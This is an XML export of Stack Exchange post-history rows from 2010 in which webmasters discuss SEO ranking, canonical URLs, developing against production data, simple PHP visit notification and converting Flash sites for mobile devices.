  <row Id="1527" PostHistoryTypeId="2" PostId="831" RevisionGUID="bd9c8b1f-0362-4233-8aeb-5967fd7cb930" CreationDate="2010-07-14T09:44:17.730" UserId="233" Text="The average position is from *organic* results only. Also note that the data is global - searches from different countries are likely to return different results, especially if your company name is a standard word or phrase, like &quot;Apple&quot;.&#xD;&#xA;&#xD;&#xA;Searches may also include personalised results - if a user searched your company name and kept clicking the second result, Google may choose to put that page above yours.&#xD;&#xA;&#xD;&#xA;If you expand the query in Webmaster Tools it will show you the number of impressions for each search position - you can &quot;verify&quot; the average if you like." />
  <row Id="1528" PostHistoryTypeId="5" PostId="831" RevisionGUID="9cbd4254-8db3-40d1-9041-529e800003d3" CreationDate="2010-07-14T09:49:45.137" UserId="233" Comment="added 55 characters in body; added 14 characters in body" Text="The average position is from *organic* results only. Also note that the data is global - searches from different countries are likely to return different results, especially if your company name is a standard word or phrase, like &quot;Apple&quot;. And as Kinopiko says, image results are also included.&#xD;&#xA;&#xD;&#xA;Searches may also include personalised results - if a user searched your company name and kept clicking the second result, Google may choose to put that page above yours for that user.&#xD;&#xA;&#xD;&#xA;If you expand the query in Webmaster Tools it will show you the number of impressions for each search position - you can &quot;verify&quot; the average if you like." />
  <row Id="1529" PostHistoryTypeId="2" PostId="832" RevisionGUID="c9aab687-be2c-4368-8f3c-c1e32ef0d8c7" CreationDate="2010-07-14T09:59:29.440" UserId="233" Text="[@smashingmag][1] is a great Twitter feed, they regularly post links to interesting blog articles.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://twitter.com/smashingmag" />
  <row Id="1530" PostHistoryTypeId="2" PostId="833" RevisionGUID="1ea62ce8-0811-4833-9009-3a5e59cba2be" CreationDate="2010-07-14T10:52:18.123" UserDisplayName="delete" Text="On one search term I have, there is one particular site with very low quality content, and yet their search engine ranking is always number one, with my site usually at position three.&#xD;&#xA;&#xD;&#xA;How can I go about investigating the reasons for a third party site's search engine rankings?&#xD;&#xA;&#xD;&#xA;One method is to try to find incoming links with a link:www.example.com search in Google. What are other methods?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1531" PostHistoryTypeId="1" PostId="833" RevisionGUID="1ea62ce8-0811-4833-9009-3a5e59cba2be" CreationDate="2010-07-14T10:52:18.123" UserDisplayName="delete" Text="How can I work out the reasons for someone else's site's search engine ranking?" />
  <row Id="1532" PostHistoryTypeId="3" PostId="833" RevisionGUID="1ea62ce8-0811-4833-9009-3a5e59cba2be" CreationDate="2010-07-14T10:52:18.123" UserDisplayName="delete" Text="&lt;search-engines&gt;" />
  <row Id="1533" PostHistoryTypeId="2" PostId="834" RevisionGUID="5b76727d-9b84-4126-84cb-f98b004b9884" CreationDate="2010-07-14T11:08:33.420" UserId="233" Text="One of the most accurate methods is actually [Yahoo's Site Explorer][1]. If you search for `link:example.com` in Yahoo you will get redirected there. You can exclude the domain itself to make sure you see links from other sites.&#xD;&#xA;&#xD;&#xA;I actually read an interesting article on SEOmoz just this morning about [looking at competitor's backlinks][2]. It uses their Open Site Explorer tool which is free for a few uses per day.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://siteexplorer.search.yahoo.com&#xD;&#xA;  [2]: http://www.seomoz.org/blog/an-inside-look-at-competitors-backlinks-with-open-site-explorer" />
  <row Id="1536" PostHistoryTypeId="2" PostId="836" RevisionGUID="325bf1b0-360f-438a-81e5-9633bb6630d4" CreationDate="2010-07-14T12:00:19.850" UserId="233" Text="As others have said, the largest benefit comes from gzipping.&#xD;&#xA;&#xD;&#xA;Make sure that you use appropriate HTML elements. Instead of `&lt;div class=&quot;page-title&quot;&gt;Hello World&lt;/div&gt;`, use `&lt;h1&gt;Hello World&lt;/h1&gt;`.&#xD;&#xA;&#xD;&#xA;And the obvious one: *don't use tables for layout!* Use a simple grid system like 960.gs (or roll your own lightweight version). There can be a large difference between the HTML size, especially with nested tables. Compare:&#xD;&#xA;&#xD;&#xA;	&lt;table cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; border=&quot;0&quot;&gt;&#xD;&#xA;	&lt;tbody&gt;&#xD;&#xA;		&lt;tr&gt;&#xD;&#xA;			&lt;td width=&quot;200&quot;&gt;...&lt;/td&gt;&#xD;&#xA;			&lt;td width=&quot;600&quot;&gt;...&lt;/td&gt;&#xD;&#xA;		&lt;/tr&gt;&#xD;&#xA;	&lt;/tbody&gt;&#xD;&#xA;	&lt;/table&gt;&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;	&lt;div class=&quot;colSmall&quot;&gt;...&lt;/div&gt;&#xD;&#xA;	&lt;div class=&quot;colLarge&quot;&gt;...&lt;/div&gt;&#xD;&#xA;" />
  <row Id="1537" PostHistoryTypeId="2" PostId="837" RevisionGUID="5626b561-c897-4fb4-82ae-9afbb677037f" CreationDate="2010-07-14T12:53:17.200" UserId="61" Text="When you search for your company make sure to search from a browser you never use (are are not logged into google with). Google does personalized search results so sites you frequent will rank higher for you then for others. This also goes the same for location." />
  <row Id="1538" PostHistoryTypeId="5" PostId="837" RevisionGUID="ca5fcb69-ae2f-4cd9-9eaf-04d8cb4601d7" CreationDate="2010-07-14T14:04:59.433" UserId="61" Comment="deleted 13 characters in body" Text="When you search for your company make sure to search from a browser you never use (not logged into google). Google does personalized search results so sites you frequent will rank higher for you then for others. This also goes the same for location." />
  <row Id="1539" PostHistoryTypeId="2" PostId="838" RevisionGUID="449f70ce-25bf-454a-9a8d-ac2ed6aa4e72" CreationDate="2010-07-14T14:09:29.267" UserId="26" Text="In assessing the &quot;searchability&quot; of a site, here's a stab at the major factors:&#xD;&#xA;&#xD;&#xA; 1. Quality of the content&#xD;&#xA; 1. Longevity of the site and content&#xD;&#xA; 1. Timeliness of content (how often updated)&#xD;&#xA; 1. Quantity of content&#xD;&#xA; 1. Number of inbound links&#xD;&#xA; 1. Quality of the sites sending inbound links (how good are the sites that link to you?)&#xD;&#xA; 1. Timeliness of inbound links (does your link appear in the news? on social networking sites like twitter, perhaps because of &quot;buzz&quot;?)&#xD;&#xA; 1. Content markup semantically savvy (`&lt;title&gt;`, `&lt;h1&gt;`, `&lt;h2&gt;`, `&lt;ul&gt;`, `alt` and `title attributes`&#xD;&#xA; 1. Indexability of your site (`robots.txt` and `sitemap.xml` files appropriately specified and are welcoming to search engine bots)&#xD;&#xA;&#xD;&#xA;If I knew the order of the importance of these factors I'd be a rich man. I usually refer to the [Official Google Webmaster Central Blog][1], which discusses current issues related to how sites interact with search engines.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/" />
  <row Id="1540" PostHistoryTypeId="2" PostId="839" RevisionGUID="a047863f-b1b5-4d80-9cb4-d9c8b68b25e3" CreationDate="2010-07-14T14:16:42.633" UserId="61" Text="A few good web peeps that I follow are:&#xD;&#xA;&#xD;&#xA; - @elijahmanor &#xD;&#xA; - @jquery &#xD;&#xA; - @smashingmag&#xD;&#xA; - @Web_Dev_Links &#xD;&#xA; - @shanselman &#xD;&#xA; - @jeresig&#xD;&#xA; - @reybango &#xD;&#xA; - @nettuts&#xD;&#xA;&#xD;&#xA;I have a [tech list][1] that can get your started Its mostly web but a few other general tech twitter users. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://twitter.com/CoryMathews/tech" />
  <row Id="1541" PostHistoryTypeId="5" PostId="731" RevisionGUID="2cbe0e6e-6f40-46cd-9827-d86435e5597e" CreationDate="2010-07-14T14:17:35.127" UserId="26" Comment="added note about reputation systems" Text="If you have a vibrant community, you will get a certain amount of this. Some approaches to consider when adding moderation layers.&#xD;&#xA;&#xD;&#xA;1. **Require payment to signup:**&#xD;&#xA;Some communities, like [Metafilter][1], have full-mods, but also charge a small fee for all users (MeFi charges $5) which cuts down somewhat. &#xD;&#xA;&#xD;&#xA;2. **Waiting periods:** They also set time limits on some of the things you can do with a new account. So you can post a comment, but you can't create a new post for a time period (I believe 7 days). Making it harder for a new account to do something can be helpful, but it can also turn off legitimate users.&#xD;&#xA;&#xD;&#xA;3. **Shaming:** Other comment communities, like BoingBoing, uses a shaming technique called &quot;[disemvowelling][2]&quot; - basically if your post is a bozo, it gets all the vowels removed and you look like an idiot.&#xD;&#xA;&#xD;&#xA;4. **Put user in Stealth Mode:** A sneakier tack is to simply allow the user to keep commenting, but completely hide their posts from all other users. They log in, and suddenly, mysteriously, nobody ever replies to their comments and threads. Now, if you have a public view, this falls down as a solution, because they catch on to the game quickly. But I always like this solution.&#xD;&#xA;&#xD;&#xA;5. **Moderate until proved non-bozo:** Yet another thing to do is to put all new users or all users below a certain threshold of activity on a site on probation. Everything they do gets moderated until they post X non-bozo comments, etc. Big overhead there, but it works well on mailing lists I've moderated.&#xD;&#xA;&#xD;&#xA;6. **Allow anything, but don't save anything:** A more unique solution is to simply never save anything, 4chan for example simply doesn't save anything -- no archives, no nothing. It invites and embraces bozos and all, but doesn't archive anything for more than a certain period of time, so there's less lasting effects of any one bozo. Note that 4chan still manages to need moderators, so even with this solution there's still a certain amount of overhead.&#xD;&#xA;&#xD;&#xA;7. **Give your mods tools:** Let them see views of user activity per user and per thread, along with IP addresses and other &quot;fingerprinty&quot; data (email, user-agent, typical time of login) so that they can see who's on and what's happening. Showing them this stuff helps them understand the site and be proactive when things get out of hand.&#xD;&#xA;&#xD;&#xA;8. **Reputation Systems:** [StackOverflow][3] and all the [StackExchange][4] websites keep track of user reputation and allow more capability with more rep. [Slashdot][5] is the first site I can remember to put something like this in place. Note, that you don't necessarily have to share reputation with your users, once calculated, it can be shared with mods to help them make their decisions.&#xD;&#xA;&#xD;&#xA;IP banning is the first impulse everybody has, but it does occasionally grab innocent people, and for some jerky users, they're always at a different IP, which is a pain.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.metafilter.com/&#xD;&#xA;  [2]: http://boingboing.net/2008/03/27/boing-boings-moderat.html&#xD;&#xA;  [3]: http://stackoverflow.com/&#xD;&#xA;  [4]: http://stackexchange.com/&#xD;&#xA;  [5]: http://slashdot.org/" />
  <row Id="1543" PostHistoryTypeId="2" PostId="841" RevisionGUID="7384d556-3651-4400-9983-b69f606eaee9" CreationDate="2010-07-14T14:58:42.893" UserId="42" Text="I've always heard that it is bad practice to develop against production data and am currently in the process of moving to a &lt;a href=&quot;http://dltj.org/article/software-development-practice/&quot;&gt;Dev&gt;Stage&gt;Production&lt;/a&gt; model, mainly because I have a new employee with minimal skills and I'd rather not have him work directly with production data yet.&#xD;&#xA;&#xD;&#xA;But for a long time I've worked directly with production data with minimal headaches, except for maybe a few errors creeping in here or there, things like spelling issues, bad alt text, links pointing to the wrong location.  This seems to be due to a lack of peer review on my part, not because of working with live data.&#xD;&#xA;&#xD;&#xA;So why is developing on the live site such bad practice?" />
  <row Id="1544" PostHistoryTypeId="1" PostId="841" RevisionGUID="7384d556-3651-4400-9983-b69f606eaee9" CreationDate="2010-07-14T14:58:42.893" UserId="42" Text="Is it bad to develop against production data?" />
  <row Id="1545" PostHistoryTypeId="3" PostId="841" RevisionGUID="7384d556-3651-4400-9983-b69f606eaee9" CreationDate="2010-07-14T14:58:42.893" UserId="42" Text="&lt;site-deployment&gt;&lt;development&gt;" />
  <row Id="1546" PostHistoryTypeId="2" PostId="842" RevisionGUID="46462e76-318d-4a30-9fdf-9e61b989419b" CreationDate="2010-07-14T15:01:04.960" UserId="151" Text="You should check out chartbeat.com. (It does cost though, $9.95 for most sites, so if you need it free, then chartbeat isnt for you. Unless you only need it for a bit, then you could use the free trial and then cancel...) &#xD;&#xA;&#xD;&#xA;They have real-time analytics and they have an API you can use to access the data. They don't have a way to send a notification to you though. You would have to poll them checking for new visitors." />
  <row Id="1547" PostHistoryTypeId="2" PostId="843" RevisionGUID="9157ca68-7dd9-46c0-8ebe-dfd63f551f6e" CreationDate="2010-07-14T15:04:21.753" UserId="151" Text="Well, you can really mess it up the data. Imagine leaving off a where clause. Even if you have hourly backups, that would be a pain to fix.&#xD;&#xA;" />
  <row Id="1548" PostHistoryTypeId="2" PostId="844" RevisionGUID="97335c2a-41b8-4d30-a074-a34ef1cd4c05" CreationDate="2010-07-14T15:16:26.140" UserId="26" Text="If during development you are running SQL commands that include `INSERT` or `UPDATE` on existing database tables, you are running a risk to the extent that those database tables are mission critical.&#xD;&#xA;&#xD;&#xA;Some places sync production data into the development database at some interval, say, once a week or at developer request so you have fresh data to develop with.&#xD;&#xA;&#xD;&#xA;But if your production data is not at risk from what you're doing, for example, if you were simply developing a view of some data, usually it's not a big deal. Now, if you're running reports that do table scans, then you have the potential to lock up a table, then your existing users get affected.&#xD;&#xA;&#xD;&#xA;I'd defer to my Database Administrator in cases like this, if there's no &quot;official&quot; DBA, I'd err on the side of caution. It's simple enough to create a development database, even for myself. On a team it's vital. Failing that, if you were insistent about hving only one database, you could prefix your development database tables with `DEV_` and feel a bit better. Yes, that requires some code changes, but in development adding some variables during development `$debug = true`, etc, is usually worth the effort.&#xD;&#xA;&#xD;&#xA;Lots of ways to approach this. It's very dependent on your situation." />
  <row Id="1549" PostHistoryTypeId="2" PostId="845" RevisionGUID="5b75a065-b365-4c3a-9721-c0b2b12176e3" CreationDate="2010-07-14T15:28:09.813" UserId="26" Text="If you want is just a one off notification, you could do something like add a small notifier for the page. I do that sometimes but usually shut it off soon after, because it can generate a pile of email. Use *sparingly*.&#xD;&#xA;&#xD;&#xA;You specifically mentioned PHP, so I'm including code:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    // add ip addresses you don't care about here&#xD;&#xA;    $no_mail = array(&#xD;&#xA;    	'24.254.148.80',&#xD;&#xA;    	'67.145.115.105',&#xD;&#xA;    	'207.46.149.50',&#xD;&#xA;    );&#xD;&#xA;    $url = $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI';&#xD;&#xA;    $to_email = 'me@example.com';&#xD;&#xA;    if (!in_array($_SERVER['REMOTE_ADDR'], $no_mail)):&#xD;&#xA;    	$body = $url . &quot;\n\n&quot;. print_r($_SERVER, true);&#xD;&#xA;    		$headers = 'From: webmaster@example.com' . &quot;\n&quot; .&#xD;&#xA;    	    'Reply-To: webmaster@example.com' . &quot;\n&quot; .&#xD;&#xA;    	    'X-Mailer: PHP/' . phpversion() . &quot;\n&quot;;&#xD;&#xA;    	mail($to_email,&#xD;&#xA;    	 	'Email from '. url . $_SERVER['REMOTE_ADDR'],&#xD;&#xA;    	 	$body&#xD;&#xA;    		, $headers) or die(&quot;&lt;!-- error with email --&gt;&quot;);&#xD;&#xA;    	print &quot;&lt;!-- notification sent --&gt;&quot;;&#xD;&#xA;    else:&#xD;&#xA;    	print &quot;&lt;!-- no notification sent --&gt;&quot;;&#xD;&#xA;    endif;&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;This is in *no way* a comprehensive solution. You could so a similar thing by just running a `tail` on your logs and `grepping` for information about the pages you care about." />
  <row Id="1550" PostHistoryTypeId="2" PostId="846" RevisionGUID="32784d4d-ce9f-49f9-b1a3-243f6c61c5e3" CreationDate="2010-07-14T15:29:19.953" UserId="108" Text="You do NOT want to develop against production data on your production server. There are a couple of huge reason.&#xD;&#xA;&#xD;&#xA; 1. Development slows down your production box and creates vulnerabilities.  What happens if you leave your computer unlocked and walk away?&#xD;&#xA; 2. If you make a mistake people that visit your site can see it.&#xD;&#xA; 3. If you do any kind of data update inside of a Transaction in your database and you don't commit it immediately or the transaction takes a while to finish you will put a log on all of the tables involved and you could cause a timeout to occur.&#xD;&#xA; 4. Some database systems, specifically SQL Server will do table locks at times on SELECT statements alone!  Which means you can unintentionally give people timeouts or error pages on your site.&#xD;&#xA;&#xD;&#xA;I would never do development work on a live box if possible.  Your best bet is to make a backup of the Database and pages and work with the copy and then push your updates.  One tool that has helped me a ton is Msft's SyncToy." />
  <row Id="1551" PostHistoryTypeId="2" PostId="847" RevisionGUID="80470fe7-71e2-44c2-ba52-1738dba92b89" CreationDate="2010-07-14T15:34:52.137" UserId="110" Text="If you don't drive without a seatbelt, don't develop on production data.  Just a safety issue." />
  <row Id="1552" PostHistoryTypeId="2" PostId="848" RevisionGUID="459404a1-a687-4ac7-b8b8-8594a773c2bc" CreationDate="2010-07-14T15:36:48.393" UserId="108" Text="I have 3 URLS that serve the same data:&#xD;&#xA;www.example.com/product/foo&#xD;&#xA;www.example.com/product/foo?id=1&#xD;&#xA;www.example.com?product=foo&#xD;&#xA;&#xD;&#xA;For Google's sake I want the URL www.example.com/product/foo to be the canonical one.  However, I have my code setup so all 3 of those pages are served from the same code so if I add in `&lt;link rel='canonical' href='http://www.example.com/product/foo' /&gt;` to my code it will be applied to all 3 pages, including the one http://www.example.com/product/foo.  Is there any issue with doing this or does having a circular canonical not cause any issues?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1553" PostHistoryTypeId="1" PostId="848" RevisionGUID="459404a1-a687-4ac7-b8b8-8594a773c2bc" CreationDate="2010-07-14T15:36:48.393" UserId="108" Text="How to use rel='canonical' properly" />
  <row Id="1554" PostHistoryTypeId="3" PostId="848" RevisionGUID="459404a1-a687-4ac7-b8b8-8594a773c2bc" CreationDate="2010-07-14T15:36:48.393" UserId="108" Text="&lt;links&gt;&lt;code&gt;" />
  <row Id="1555" PostHistoryTypeId="5" PostId="846" RevisionGUID="d7ef5453-b2c3-45b6-928a-e3e5ca47b9cf" CreationDate="2010-07-14T15:39:02.887" UserId="108" Comment="added 1 characters in body" Text="You do NOT want to develop against production data on your production server. There are a couple of huge reason.&#xD;&#xA;&#xD;&#xA; 1. Development slows down your production box and creates vulnerabilities.  What happens if you leave your computer unlocked and walk away?&#xD;&#xA; 2. If you make a mistake people that visit your site can see it.&#xD;&#xA; 3. If you do any kind of data update inside of a Transaction in your database and you don't commit it immediately or the transaction takes a while to finish you will put a lock on all of the tables involved and you could cause a timeout to occur.&#xD;&#xA; 4. Some database systems, specifically SQL Server will do table locks at times on SELECT statements alone!  Which means you can unintentionally give people timeouts or error pages on your site.&#xD;&#xA;&#xD;&#xA;I would never do development work on a live box if possible.  Your best bet is to make a backup of the Database and pages and work with the copy and then push your updates.  One tool that has helped me a ton is Msft's SyncToy." />
  <row Id="1556" PostHistoryTypeId="2" PostId="849" RevisionGUID="4999154d-e512-4408-816d-57ae4d315381" CreationDate="2010-07-14T15:45:57.583" UserId="26" Text="There's no circularity implied by having&#xD;&#xA;&#xD;&#xA;    &lt;link rel='canonical' href='http://www.example.com/product/foo' /&gt;&#xD;&#xA;&#xD;&#xA;appear on&#xD;&#xA;&#xD;&#xA;    http://www.example.com/product/foo&#xD;&#xA;&#xD;&#xA;That's the intent. You're saying &quot;the best url&quot; for this page is `http://www.example.com/product/foo` so when the search engines hit `www.example.com/product/foo?id=1 www.example.com?product=foo` it will get that code and say, aha! This is really that canonical page, I'll make that one &quot;official.&quot; On the page itself, it just means, &quot;yes, this is a page, and this is the best url for this page.&quot;&#xD;&#xA;&#xD;&#xA;[More about `rel=&quot;canonical&quot;` from Google][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=139394" />
  <row Id="1557" PostHistoryTypeId="5" PostId="849" RevisionGUID="fac5247b-0121-4c57-af86-dfa37d178a79" CreationDate="2010-07-14T15:51:10.717" UserId="26" Comment="added 19 characters in body" Text="There's no circularity implied by having&#xD;&#xA;&#xD;&#xA;    &lt;link rel='canonical' href='http://www.example.com/product/foo' /&gt;&#xD;&#xA;&#xD;&#xA;appear on&#xD;&#xA;&#xD;&#xA;    http://www.example.com/product/foo&#xD;&#xA;&#xD;&#xA;That's the intent. You're saying &quot;the best url&quot; for this page is `http://www.example.com/product/foo` so when the search engines hit `http://www.example.com/product/foo?id=1` or `http://www.example.com?product=foo` it will get that code and say, aha! This is really that canonical page, I'll make that one &quot;official.&quot; On the page itself, it just means, &quot;yes, this is a page, and this is the best url for this page.&quot;&#xD;&#xA;&#xD;&#xA;[More about `rel=&quot;canonical&quot;` from Google][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=139394" />
  <row Id="1558" PostHistoryTypeId="5" PostId="849" RevisionGUID="a5402dde-0c5e-49bb-82ff-e4c5f3e06be6" CreationDate="2010-07-14T16:00:12.660" UserId="26" Comment="added another link about rel usage" Text="There's no circularity implied by having&#xD;&#xA;&#xD;&#xA;    &lt;link rel='canonical' href='http://www.example.com/product/foo' /&gt;&#xD;&#xA;&#xD;&#xA;appear on&#xD;&#xA;&#xD;&#xA;    http://www.example.com/product/foo&#xD;&#xA;&#xD;&#xA;That's the intent. You're saying &quot;the best url&quot; for this page is `http://www.example.com/product/foo` so when the search engines hit `http://www.example.com/product/foo?id=1` or `http://www.example.com?product=foo` it will get that code and say, aha! This is really that canonical page, I'll make that one &quot;official.&quot; On the page itself, it just means, &quot;yes, this is a page, and this is the best url for this page.&quot;&#xD;&#xA;&#xD;&#xA; - [More about `rel=&quot;canonical&quot;` from Google][1]&#xD;&#xA; - [existing-rel-values at microformats.org][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=139394&#xD;&#xA;  [2]: http://microformats.org/wiki/existing-rel-values " />
  <row Id="1559" PostHistoryTypeId="5" PostId="849" RevisionGUID="373afac2-05aa-4e1a-b27d-f26e6650aa7a" CreationDate="2010-07-14T17:22:54.637" UserId="26" Comment="prettier formatting!" Text="There's no circularity implied by having&#xD;&#xA;&#xD;&#xA;    &lt;link rel='canonical' href='http://www.example.com/product/foo' /&gt;&#xD;&#xA;&#xD;&#xA;appear on&#xD;&#xA;&#xD;&#xA;&gt;     `http://www.example.com/product/foo`&#xD;&#xA;&#xD;&#xA;That's the intent. You're saying &quot;the best url&quot; for this page is `http://www.example.com/product/foo` so when the search engines hit `http://www.example.com/product/foo?id=1` or `http://www.example.com?product=foo` it will get that code and say, aha! This is really that canonical page, I'll make that one &quot;official.&quot; On the page itself, it just means, &quot;yes, this is a page, and this is the best url for this page.&quot;&#xD;&#xA;&#xD;&#xA; - [More about `rel=&quot;canonical&quot;` from Google][1]&#xD;&#xA; - [existing-rel-values at microformats.org][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=139394&#xD;&#xA;  [2]: http://microformats.org/wiki/existing-rel-values " />
  <row Id="1560" PostHistoryTypeId="6" PostId="841" RevisionGUID="ee475a14-7951-426e-92cb-911320acc7de" CreationDate="2010-07-14T17:35:23.273" UserId="72" Comment="edited tags" Text="&lt;site-deployment&gt;&lt;best-practice&gt;&lt;development&gt;" />
  <row Id="1562" PostHistoryTypeId="2" PostId="851" RevisionGUID="9eaa6c97-47b1-4553-90bf-325ee13788b0" CreationDate="2010-07-14T18:35:42.050" UserId="210" Text="You can easily add a database table where you insert a record every time you get a page hit. You can also store a session id or some other unique string for each user so you can group them or detect if it's a new vs returning visitor. You can also add additional functionality using AJAX to record how long they've been on the page.&#xD;&#xA;&#xD;&#xA;I've done similar functionality on sites that were getting 100k+ hits per day and haven't noticed any extra load, but I kept the table really simple with only a primary key. If you want to get immediate results/numbers on the table, you'll probably need some keys, although you could also have a script that moves the data from the flat table into a table that combines the data into something more useful (hits per user, length of visit, etc).&#xD;&#xA;&#xD;&#xA;With this type of solution, you could also add functionality that would allow you to communicate with the visitor while their on the website by sending them a message." />
  <row Id="1563" PostHistoryTypeId="5" PostId="851" RevisionGUID="63371cbb-386c-4345-82f9-756db3696ed2" CreationDate="2010-07-14T19:05:56.387" UserId="210" Comment="added 345 characters in body" Text="2 options I know of:&#xD;&#xA;&#xD;&#xA;1. [Piwik][1]: Open source real time analytics. I don't use this, but I have a friend who does and he really likes it. It does look pretty nice and with something like this you can do all sorts of other things with the data (such as your own real time stats on the website).&#xD;&#xA;&#xD;&#xA;2. Custom: You can easily add a database table where you insert a record every time you get a page hit. You can also store a session id or some other unique string for each user so you can group them or detect if it's a new vs returning visitor. You can also add additional functionality using AJAX to record how long they've been on the page.&#xD;&#xA;&#xD;&#xA; I've done similar functionality on sites that were getting 100k+ hits per day and haven't noticed any extra load, but I kept the table really simple with only a primary key. If you want to get immediate results/numbers on the table, you'll probably need some keys, although you could also have a script that moves the data from the flat table into a table that combines the data into something more useful (hits per user, length of visit, etc).&#xD;&#xA;&#xD;&#xA; With this type of solution, you could also add functionality that would allow you to communicate with the visitor while their on the website by sending them a message.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://piwik.org/" />
  <row Id="1564" PostHistoryTypeId="2" PostId="852" RevisionGUID="a9bafdbe-c4ab-45aa-8842-68c9317c2eed" CreationDate="2010-07-14T20:37:00.010" UserId="231" Text="Here is another email obfuscator: [Enkoder][1], from Dan Benjamin. It comes both as an online app and a standalone app for Mac.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://hivelogic.com/enkoder" />
  <row Id="1565" PostHistoryTypeId="6" PostId="548" RevisionGUID="c5bd4043-4c17-47cd-88e5-bf593a4bf808" CreationDate="2010-07-14T20:58:53.467" UserId="67" Comment="edited tags" Text="&lt;best-practice&gt;&lt;standards&gt;&lt;content&gt;" />
  <row Id="1566" PostHistoryTypeId="2" PostId="853" RevisionGUID="ea26b5b6-beae-4855-9bd6-83038aadef61" CreationDate="2010-07-14T21:04:02.613" UserId="26" Text="I have many clients with Flash interfaces that they like quite a bit. But these things don't work on many (most?) mobile devices. This is a two part question:&#xD;&#xA;&#xD;&#xA;1. If I get access to the original `.fla` files, is there a way to bulk export/compile Flash into individual images with hotspots? &#xD;&#xA;&#xD;&#xA;1. If I don't have access to the original `.fla` is there a mechanism to turn a `.swf` into a format friendly to webkit devices?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**Comment:**  My fear is that I'll be left with either **recreating** the interface entirely or **building something all-new**. It would be nice to have some automated options in terms of making sites more non-Flash available (possibly HTML5? possibly tailored to WebKit? possibly tailored to other mobile platforms?).&#xD;&#xA;&#xD;&#xA;Keep in mind, I love Flash, not looking to bash Flash, trying to see options for existing Flash content." />
  <row Id="1567" PostHistoryTypeId="1" PostId="853" RevisionGUID="ea26b5b6-beae-4855-9bd6-83038aadef61" CreationDate="2010-07-14T21:04:02.613" UserId="26" Text="Porting a Flash site to non-Flash site" />
  <row Id="1568" PostHistoryTypeId="3" PostId="853" RevisionGUID="ea26b5b6-beae-4855-9bd6-83038aadef61" CreationDate="2010-07-14T21:04:02.613" UserId="26" Text="&lt;flash&gt;&lt;mobile&gt;&lt;compatibility&gt;" />
  <row Id="1569" PostHistoryTypeId="6" PostId="833" RevisionGUID="9a3e143f-c3ad-4a58-aa05-9ffdbd357657" CreationDate="2010-07-14T21:06:30.533" UserId="44" Comment="edited tags" Text="&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="1570" PostHistoryTypeId="2" PostId="854" RevisionGUID="0cdf24e1-66cd-4ce8-98f2-236e97993ebb" CreationDate="2010-07-14T21:07:49.517" UserId="67" Text="P.O.S.H.&#xD;&#xA;&#xD;&#xA;Plain Old Semantic HTML, which is the primary basis for microformats.&#xD;&#xA;&#xD;&#xA;Specifically, you should ID or Class things what they are or what they're for, not for how they function or how they look.&#xD;&#xA;&#xD;&#xA;For instance,&#xD;&#xA;&#xD;&#xA;`&lt;p class=&quot;author&quot;&gt;Dan Gayle&lt;/p&gt;` vs. `&lt;p class=&quot;green12b&quot;&gt;Dan Gayle&lt;/p&gt;`" />
  <row Id="1571" PostHistoryTypeId="2" PostId="855" RevisionGUID="5b68ef3f-6a64-41ae-8f3f-7ab8dff8d842" CreationDate="2010-07-14T21:29:19.720" UserId="108" Text="Right now it looks like CS5 can do the conversions from flash to HTML5 but you would need the flash files and it would take some work still it sounds like. Check out this article for more, http://cs5.org/?p=3#more-3.  I think going to HTML5 is probably your only real choice because of functionality.  &#xD;&#xA;&#xD;&#xA;However, you are probably going to have to wait a while for HTML5 to really be fully support so you will have to be careful with what functionality you are moving over. I know as of right now Chrome is the closest browser to having all of the HTML% capabilities and it scores a mere 221 out of 300 on http://html5test.com/." />
  <row Id="1572" PostHistoryTypeId="2" PostId="856" RevisionGUID="5555b1e8-0799-4a89-a9df-46c2f7a987cb" CreationDate="2010-07-14T21:34:48.863" UserId="43" Text="I think your best bet **long term** will be to completely rebuild/recreate the interface.  I suspect that any automated or even semi-automated tool for converting flash elements to something more widely accessible will leave you with lots and lots of cruft, and make future maintenance more difficult and time-consuming.&#xD;&#xA;&#xD;&#xA;My suggestion is to rebuild, and perhaps use some existing flash elements for the most complex portions of the sites, while putting some sort of fall back functionality into place for mobile browsers that do not support flash." />
  <row Id="1573" PostHistoryTypeId="2" PostId="857" RevisionGUID="fc74ba0c-296e-44d4-985d-1ad74a262c18" CreationDate="2010-07-14T21:37:22.013" UserId="43" Text="Do **not** use images in place of text, regardless of what a designer tells you.  Any text you read (with a few exceptions, such as logos) should be coded as text, not as an image.  Sure, you can use alt tags, but that just isn't the same." />
  <row Id="1574" PostHistoryTypeId="2" PostId="858" RevisionGUID="645d7a1a-1ba2-473d-aa85-986a0f005847" CreationDate="2010-07-14T21:38:07.940" UserId="130" Text="I don't think it's fully released yet, but you might want to check out [Smokescreen][1]. It's a Flash rendering engine written entirely in Javascript and HTML5. It is being created with one of its goals being to allow Flash to be used on platforms without native support (such as certain mobile devices).&#xD;&#xA;&#xD;&#xA;  [1]: http://smokescreen.us/" />
